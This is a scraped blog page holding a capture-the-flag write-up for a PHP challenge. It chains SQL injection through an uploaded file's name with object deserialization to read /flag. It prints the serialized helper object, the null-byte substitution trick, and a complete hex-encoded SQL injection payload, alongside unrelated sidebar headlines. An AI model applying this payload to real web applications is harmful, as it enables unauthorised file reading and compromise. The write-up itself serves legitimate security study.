当前位置:网站首页>[an Xun cup 2019] not file upload
[an Xun cup 2019] not file upload
2022-07-05 03:38:00 【paidx0】


buu Gave the source code link , Go to the source code directly



Take a brief look at , It means uploading pictures , If helper Save pictures in serialized form , So in show Can be deserialized
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
//O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
Then because the variable attribute is protected You need to add... Before the variable name \x00*\x00 Variable name ,private Is to add \x00 Class name \x00 Variable name
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
So I use \0\0\0 To fill in ,show It will be replaced before deserialization
//O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
SQL sentence
INSERT INTO images (implode(",",$sql_fields)) VALUES(implode(",",$sql_val))
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
title,fileame,ext,path,attr
//title This is controllable , Single quote closure
//0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d)#.jpg


边栏推荐
- Ubantu disk expansion (VMware)
- The perfect car for successful people: BMW X7! Superior performance, excellent comfort and safety
- Quick start of UI component development of phantom engine [umg/slate]
- [2022 repair version] community scanning code into group activity code to drain the complete operation source code / connect the contract free payment interface / promote the normal binding of subordi
- Single box check box
- 2. Common request methods
- Azkaban overview
- Qrcode: generate QR code from text
- 有個疑問 flink sql cdc 的話可以設置並行度麼, 並行度大於1會有順序問題吧?
- Clean up PHP session files
猜你喜欢

The latest blind box mall, which has been repaired very popular these days, has complete open source operation source code
![[untitled]](/img/53/f67c53d4ada382ec42f97cf68d9c71.jpg)
[untitled]

Sqoop installation

Kbp206-asemi rectifier bridge kbp206

Subversive cognition: what does SRE do?

Utilisation simple de devtools

Logstash、Fluentd、Fluent Bit、Vector? How to choose the appropriate open source log collector

How to define a unified response object gracefully

SPI and IIC communication protocol

Yyds dry goods inventory embedded matrix
随机推荐
【PHP特性-变量覆盖】函数的使用不当、配置不当、代码逻辑漏洞
Clickhouse同步mysql(基于物化引擎)
Leetcode92. reverse linked list II
Blue Bridge Cup single chip microcomputer -- PWM pulse width modulation
New interesting test applet source code_ Test available
040. (2.9) relieved
The perfect car for successful people: BMW X7! Superior performance, excellent comfort and safety
端口,域名,协议。
Flex flexible layout
Une question est de savoir si Flink SQL CDC peut définir le parallélisme. Si le parallélisme est supérieur à 1, il y aura un problème d'ordre?
Share the newly released web application development framework based on blazor Technology
IPv6 experiment
How to make the listbox scroll automatically when adding a new item- How can I have a ListBox auto-scroll when a new item is added?
Basic authorization command for Curl
VM in-depth learning (XXV) -class file overview
Kbp206-asemi rectifier bridge kbp206
LeetCode146. LRU cache
Anchor free series network yolox source code line by line explanation four (a total of ten, ensure line by line explanation, after reading, you can change the network at will, not just as a participan
MySQL winter vacation self-study 2022 11 (10)
[system security] ten thousand words summary system virtualization container bottom layer principle experiment